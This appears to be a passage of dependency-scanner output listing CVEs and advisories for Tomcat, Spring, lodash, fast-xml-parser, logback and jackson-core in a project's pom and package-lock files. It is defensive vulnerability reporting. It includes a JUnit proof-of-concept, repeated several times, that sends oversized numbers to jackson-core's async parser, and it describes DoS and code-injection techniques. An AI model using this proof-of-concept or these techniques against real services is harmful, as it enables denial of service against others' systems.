This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.10, from 10.1.0-M1 through 10.1.44, from 9.0.0.M11 through 9.0.108.
The following versions were EOL at the time the CVE was created but are
known to be affected: 8.5.6 though 8.5.100. Other, older, EOL versions may also be affected.
Users are recommended to upgrade to version 11.0.11 or later, 10.1.45 or later or 9.0.109 or later, which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2025-55752
CVE-2026-24734 - org.apache.tomcat.embed:tomcat-embed-core
Severity: HIGH
Installed Version: 10.1.44
Fixed Version: 11.0.18, 10.1.52, 9.0.115
Target: spring-boot-starter/starter-webapp-core/pom.xml
Title: tomcat: Apache Tomcat: Certificate revocation bypass due to improper OCSP response validation
Description:
Improper Input Validation vulnerability in Apache Tomcat Native, Apache Tomcat.
When using an OCSP responder, Tomcat Native (and Tomcat's FFM port of the Tomcat Native code) did not complete verification or freshness checks on the OCSP response which could allow certificate revocation to be bypassed.
This issue affects Apache Tomcat Native: from 1.3.0 through 1.3.4, from 2.0.0 through 2.0.11; Apache Tomcat: from 11.0.0-M1 through 11.0.17, from 10.1.0-M7 through 10.1.51, from 9.0.83 through 9.0.114.
The following versions were EOL at the time the CVE was created but are
known to be affected: from 1.1.23 through 1.1.34, from 1.2.0 through 1.2.39. Older EOL versions are not affected.
Apache Tomcat Native users are recommended to upgrade to versions 1.3.5 or later or 2.0.12 or later, which fix the issue.
Apache Tomcat users are recommended to upgrade to versions 11.0.18 or later, 10.1.52 or later or 9.0.115 or later which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-24734
CVE-2026-24880 - org.apache.tomcat.embed:tomcat-embed-core
Severity: HIGH
Installed Version: 10.1.44
Fixed Version: 9.0.116, 10.1.52, 11.0.20
Target: spring-boot-starter/starter-webapp-core/pom.xml
Title: Apache Tomcat: Apache Tomcat: HTTP Request/Response Smuggling via invalid chunk extension
Description:
Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') vulnerability in Apache Tomcat via invalid chunk extension.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.18, from 10.1.0-M1 through 10.1.52, from 9.0.0.M1 through 9.0.115, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109.
Other, unsupported versions may also be affected.
Users are recommended to upgrade to version 11.0.20, 10.1.52 or 9.0.116, which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-24880
CVE-2026-34483 - org.apache.tomcat.embed:tomcat-embed-core
Severity: HIGH
Installed Version: 10.1.44
Fixed Version: 9.0.116, 10.1.54, 11.0.21
Target: spring-boot-starter/starter-webapp-core/pom.xml
Title: Apache Tomcat: Apache Tomcat: Information disclosure due to improper encoding in JsonAccessLogValve
Description:
Improper Encoding or Escaping of Output vulnerability in the JsonAccessLogValve component of Apache Tomcat.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.20, from 10.1.0-M1 through 10.1.53, from 9.0.40 through 9.0.116.
Users are recommended to upgrade to version 11.0.21, 10.1.54 or 9.0.117 , which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-34483
CVE-2026-34487 - org.apache.tomcat.embed:tomcat-embed-core
Severity: HIGH
Installed Version: 10.1.44
Fixed Version: 9.0.117, 10.1.54, 11.0.21
Target: spring-boot-starter/starter-webapp-core/pom.xml
Title: Apache Tomcat: Apache Tomcat: Information disclosure via sensitive data in log files
Description:
Insertion of Sensitive Information into Log File vulnerability in the cloud membership for clustering component of Apache Tomcat exposed the Kubernetes bearer token.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.20, from 10.1.0-M1 through 10.1.53, from 9.0.13 through 9.0.116.
Users are recommended to upgrade to version 11.0.21, 10.1.54 or 9.0.117, which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-34487
CVE-2026-41284 - org.apache.tomcat.embed:tomcat-embed-core
Severity: HIGH
Installed Version: 10.1.44
Fixed Version: 9.0.118, 10.1.55, 11.0.22
Target: spring-boot-starter/starter-webapp-core/pom.xml
Title: Allocation of Resources Without Limits or Throttling vulnerability in ...
Description:
Allocation of Resources Without Limits or Throttling vulnerability in Apache Tomcat.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117.
Older, unsupported versions may also be affected.
Users are recommended to upgrade to version [FIXED_VERSION], which fixes the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-41284
CVE-2026-42498 - org.apache.tomcat.embed:tomcat-embed-core
Severity: HIGH
Installed Version: 10.1.44
Fixed Version: 9.0.118, 10.1.55, 11.0.22
Target: spring-boot-starter/starter-webapp-core/pom.xml
Title: Exposure of HTTP Authentication Header to unexpected hosts during WebS ...
Description:
Exposure of HTTP Authentication Header to unexpected hosts during WebSocket authentication vulnerability in Apache Tomcat.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.2 through 9.0.117, from 8.5.24 through 8.5.100, from 7.0.83 through 7.0.109.
Users are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118, which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-42498
CVE-2026-43513 - org.apache.tomcat.embed:tomcat-embed-core
Severity: HIGH
Installed Version: 10.1.44
Fixed Version: 9.0.118, 10.1.55, 11.0.22
Target: spring-boot-starter/starter-webapp-core/pom.xml
Title: Improper Handling of Case Sensitivity vulnerability in LockOutRealm in ...
Description:
Improper Handling of Case Sensitivity vulnerability in LockOutRealm in Apache Tomcat.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109.
Older unsupported versions may also be affected.
Users are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118 which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-43513
CVE-2026-40973 - org.springframework.boot:spring-boot
Severity: HIGH
Installed Version: 3.5.5
Fixed Version: 4.0.6, 3.5.14
Target: spring-boot-starter/starter-webapp-core/pom.xml
Title: Spring Boot: Spring Boot: Arbitrary Code Execution and Session Hijacking via predictable temporary directory
Description:
A local attacker on the same host as the application may be able to take control of the directory used by `ApplicationTemp`. When `server.servlet.session.persistent` is set to `true` and the attack persists across application restarts, this may allow the attacker to read session information and hijack authenticated users or deploy a gadget chain and execute code as the application's user.
Affected: Spring Boot 4.0.0–4.0.5 (fix 4.0.6), 3.5.0–3.5.13 (fix 3.5.14), 3.4.0–3.4.15 (fix 3.4.16), 3.3.0–3.3.18 (fix 3.3.19), 2.7.0–2.7.32 (fix 2.7.33); predictable temp directory / `ApplicationTemp` ownership verification. Versions that are no longer supported are also affected per vendor advisory.
Reference: https://avd.aquasec.com/nvd/cve-2026-40973
CVE-2025-41249 - org.springframework:spring-core
Severity: HIGH
Installed Version: 6.2.10
Fixed Version: 6.2.11
Target: spring-boot-starter/starter-webapp-core/pom.xml
Title: The Spring Framework annotation detection mechanism may not correctly ...
Description:
The Spring Framework annotation detection mechanism may not correctly resolve annotations on methods within type hierarchies with a parameterized super type with unbounded generics. This can be an issue if such annotations are used for authorization decisions.
Your application may be affected by this if you are using Spring Security's @EnableMethodSecurity feature.
You are not affected by this if you are not using @EnableMethodSecurity or if you do not use security annotations on methods in generic superclasses or generic interfaces.
This CVE is published in conjunction with CVE-2025-41248 https://spring.io/security/cve-2025-41248 .
Reference: https://avd.aquasec.com/nvd/cve-2025-41249
CVE-2026-40973 - org.springframework.boot:spring-boot
Severity: HIGH
Installed Version: 3.5.5
Fixed Version: 4.0.6, 3.5.14
Target: spring-boot-starter/starter/pom.xml
Title: Spring Boot: Spring Boot: Arbitrary Code Execution and Session Hijacking via predictable temporary directory
Description:
A local attacker on the same host as the application may be able to take control of the directory used by `ApplicationTemp`. When `server.servlet.session.persistent` is set to `true` and the attack persists across application restarts, this may allow the attacker to read session information and hijack authenticated users or deploy a gadget chain and execute code as the application's user.
Affected: Spring Boot 4.0.0–4.0.5 (fix 4.0.6), 3.5.0–3.5.13 (fix 3.5.14), 3.4.0–3.4.15 (fix 3.4.16), 3.3.0–3.3.18 (fix 3.3.19), 2.7.0–2.7.32 (fix 2.7.33); predictable temp directory / `ApplicationTemp` ownership verification. Versions that are no longer supported are also affected per vendor advisory.
Reference: https://avd.aquasec.com/nvd/cve-2026-40973
CVE-2025-41249 - org.springframework:spring-core
Severity: HIGH
Installed Version: 6.2.10
Fixed Version: 6.2.11
Target: spring-boot-starter/starter/pom.xml
Title: The Spring Framework annotation detection mechanism may not correctly ...
Description:
The Spring Framework annotation detection mechanism may not correctly resolve annotations on methods within type hierarchies with a parameterized super type with unbounded generics. This can be an issue if such annotations are used for authorization decisions.
Your application may be affected by this if you are using Spring Security's @EnableMethodSecurity feature.
You are not affected by this if you are not using @EnableMethodSecurity or if you do not use security annotations on methods in generic superclasses or generic interfaces.
This CVE is published in conjunction with CVE-2025-41248 https://spring.io/security/cve-2025-41248 .
Reference: https://avd.aquasec.com/nvd/cve-2025-41249
CVE-2024-21490 - angular
Severity: HIGH
Installed Version: 1.8.2
Fixed Version:
Target: webapps/frontend/package-lock.json
Title: This affects versions of the package angular from 1.3.0. A regular exp ...
Description:
This affects versions of the package angular from 1.3.0. A regular expression used to split the value of the ng-srcset directive is vulnerable to super-linear runtime due to backtracking. With large carefully-crafted input, this can result in catastrophic backtracking and cause a denial of service.
**Note:**
This package is EOL and will not receive any updates to address this issue. Users should migrate to [@angular/core](https://www.npmjs.com/package/@angular/core).
Reference: https://avd.aquasec.com/nvd/cve-2024-21490
CVE-2026-26278 - fast-xml-parser
Severity: HIGH
Installed Version: 4.3.4
Fixed Version: 4.5.4, 5.3.6
Target: webapps/frontend/package-lock.json
Title: fast-xml-parser: fast-xml-parser: Denial of Service via unlimited XML entity expansion
Description:
fast-xml-parser allows users to validate XML, parse XML to JS object, or build XML from JS object without C/C++ based libraries and no callback. In versions 4.1.3 through 5.3.5, the XML parser can be forced to do an unlimited amount of entity expansion. With a very small XML input, it’s possible to make the parser spend seconds or even minutes processing a single request, effectively freezing the application. Version 5.3.6 fixes the issue. As a workaround, avoid using DOCTYPE parsing by `processEntities: false` option.
Reference: https://avd.aquasec.com/nvd/cve-2026-26278
CVE-2026-33036 - fast-xml-parser
Severity: HIGH
Installed Version: 4.3.4
Fixed Version: 5.5.6, 4.5.5
Target: webapps/frontend/package-lock.json
Title: fast-xml-parser: fast-xml-parser: Denial of Service via XML entity expansion bypass
Description:
fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. Versions 4.0.0-beta.3 through 5.5.5 contain a bypass vulnerability where numeric character references (&#NNN;, &#xHH;) and standard XML entities completely evade the entity expansion limits (e.g., maxTotalExpansions, maxExpandedLength) added to fix CVE-2026-26278, enabling XML entity expansion Denial of Service. The root cause is that replaceEntitiesValue() in OrderedObjParser.js only enforces expansion counting on DOCTYPE-defined entities while the lastEntities loop handling numeric/standard entities performs no counting at all. An attacker supplying 1M numeric entity references like A can force ~147MB of memory allocation and heavy CPU usage, potentially crashing the process—even when developers have configured strict limits. This issue has been fixed in version 5.5.6.
Reference: https://avd.aquasec.com/nvd/cve-2026-33036
CVE-2026-4800 - lodash
Severity: HIGH
Installed Version: 4.17.21
Fixed Version: 4.18.0
Target: webapps/frontend/package-lock.json
Title: lodash: lodash: Arbitrary code execution via untrusted input in template imports
Description:
Impact:
The fix for CVE-2021-23337 (https://github.com/advisories/GHSA-35jh-r3h4-6jhm) added validation for the variable option in _.template but did not apply the same validation to options.imports key names. Both paths flow into the same Function() constructor sink.
When an application passes untrusted input as options.imports key names, an attacker can inject default-parameter expressions that execute arbitrary code at template compilation time.
Additionally, _.template uses assignInWith to merge imports, which enumerates inherited properties via for..in. If Object.prototype has been polluted by any other vector, the polluted keys are copied into the imports object and passed to Function().
Patches:
Users should upgrade to version 4.18.0.
Workarounds:
Do not pass untrusted input as key names in options.imports. Only use developer-controlled, static key names.
Reference: https://avd.aquasec.com/nvd/cve-2026-4800
GHSA-72hv-8253-57qq - com.fasterxml.jackson.core:jackson-core
Severity: MEDIUM
Installed Version: 2.15.2
Fixed Version: 2.21.1, 2.18.6
Target: clients/java/client/pom.xml
Title: jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition
Description:
### Summary
The non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).
The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.
### Details
The root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.
- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.
- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.
- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.
- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.
### PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.
```java
package tools.jackson.core.unittest.dos;
import java.nio.charset.StandardCharsets;
import org.junit.jupiter.api.Test;
import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;
import static org.junit.jupiter.api.Assertions.*;
/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {
private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;
private final JsonFactory factory = new JsonFactory();
// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}
// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();
boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}
private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}
```
### Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number's digits, leading to an `OutOfMemoryError`.
2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.
### Suggested Remediation
The async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.
**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)
Reference: https://github.com/advisories/GHSA-72hv-8253-57qq
GHSA-72hv-8253-57qq - com.fasterxml.jackson.core:jackson-core
Severity: MEDIUM
Installed Version: 2.15.2
Fixed Version: 2.21.1, 2.18.6
Target: clients/java/pom.xml
Title: jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition
Description:
### Summary
The non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).
The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.
### Details
The root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.
- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.
- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.
- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.
- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.
### PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.
```java
package tools.jackson.core.unittest.dos;
import java.nio.charset.StandardCharsets;
import org.junit.jupiter.api.Test;
import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;
import static org.junit.jupiter.api.Assertions.*;
/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {
private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;
private final JsonFactory factory = new JsonFactory();
// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}
// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();
boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}
private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}
```
### Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number's digits, leading to an `OutOfMemoryError`.
2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.
### Suggested Remediation
The async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.
**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)
Reference: https://github.com/advisories/GHSA-72hv-8253-57qq
CVE-2024-12798 - ch.qos.logback:logback-core
Severity: MEDIUM
Installed Version: 1.2.11
Fixed Version: 1.5.13, 1.3.15
Target: commons/pom.xml
Title: ACE vulnerability in JaninoEventEvaluator by QOS.CH logback-core ...
Description:
ACE vulnerability in JaninoEventEvaluator by QOS.CH logback-core
upto including version 0.1 to 1.3.14 and 1.4.0 to 1.5.12 in Java applications allows
attacker to execute arbitrary code by compromising an existing
logback configuration file or by injecting an environment variable
before program execution.
Malicious logback configuration files can allow the attacker to execute
arbitrary code using the JaninoEventEvaluator extension.
A successful attack requires the user to have write access to a
configuration file. Alternatively, the attacker could inject a malicious
environment variable pointing to a malicious configuration file. In both
cases, the attack requires existing privilege.
Reference: https://avd.aquasec.com/nvd/cve-2024-12798
CVE-2025-11226 - ch.qos.logback:logback-core
Severity: MEDIUM
Installed Version: 1.2.11
Fixed Version: 1.5.19, 1.3.16
Target: commons/pom.xml
Title: QOS.CH logback-core is vulnerable to Arbitrary Code Execution through file processing
Description:
ACE vulnerability in conditional configuration file processing by QOS.CH logback-core up to and including version 1.5.18 in Java applications, allows an attacker to execute arbitrary code by compromising an existing logback configuration file or by injecting an environment variable before program execution.
A successful attack requires the presence of Janino library and Spring Framework to be present on the user's class path. In addition, the attacker must have write access to a
configuration file. Alternatively, the attacker could inject a malicious
environment variable pointing to a malicious configuration file. In both
cases, the attack requires existing privilege.
Reference: https://avd.aquasec.com/nvd/cve-2025-11226
CVE-2024-12798 - ch.qos.logback:logback-core
Severity: MEDIUM
Installed Version: 1.2.11
Fixed Version: 1.5.13, 1.3.15
Target: commons/testing/pom.xml
Title: ACE vulnerability in JaninoEventEvaluator by QOS.CH logback-core ...
Description:
ACE vulnerability in JaninoEventEvaluator by QOS.CH logback-core
upto including version 0.1 to 1.3.14 and 1.4.0 to 1.5.12 in Java applications allows
attacker to execute arbitrary code by compromising an existing
logback configuration file or by injecting an environment variable
before program execution.
Malicious logback configuration files can allow the attacker to execute
arbitrary code using the JaninoEventEvaluator extension.
A successful attack requires the user to have write access to a
configuration file. Alternatively, the attacker could inject a malicious
environment variable pointing to a malicious configuration file. In both
cases, the attack requires existing privilege.
Reference: https://avd.aquasec.com/nvd/cve-2024-12798
CVE-2025-11226 - ch.qos.logback:logback-core
Severity: MEDIUM
Installed Version: 1.2.11
Fixed Version: 1.5.19, 1.3.16
Target: commons/testing/pom.xml
Title: QOS.CH logback-core is vulnerable to Arbitrary Code Execution through file processing
Description:
ACE vulnerability in conditional configuration file processing by QOS.CH logback-core up to and including version 1.5.18 in Java applications, allows an attacker to execute arbitrary code by compromising an existing logback configuration file or by injecting an environment variable before program execution.
A successful attack requires the presence of Janino library and Spring Framework to be present on the user's class path. In addition, the attacker must have write access to a
configuration file. Alternatively, the attacker could inject a malicious
environment variable pointing to a malicious configuration file. In both
cases, the attack requires existing privilege.
Reference: https://avd.aquasec.com/nvd/cve-2025-11226
GHSA-72hv-8253-57qq - com.fasterxml.jackson.core:jackson-core
Severity: MEDIUM
Installed Version: 2.15.2
Fixed Version: 2.21.1, 2.18.6
Target: distro/jboss/webapp/pom.xml
Title: jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition
Description:
### Summary
The non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).
The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.
### Details
The root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.
- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.
- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.
- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.
- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.
### PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.
```java
package tools.jackson.core.unittest.dos;
import java.nio.charset.StandardCharsets;
import org.junit.jupiter.api.Test;
import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;
import static org.junit.jupiter.api.Assertions.*;
/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {
private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;
private final JsonFactory factory = new JsonFactory();
// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}
// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();
boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}
private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}
```
### Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number's digits, leading to an `OutOfMemoryError`.
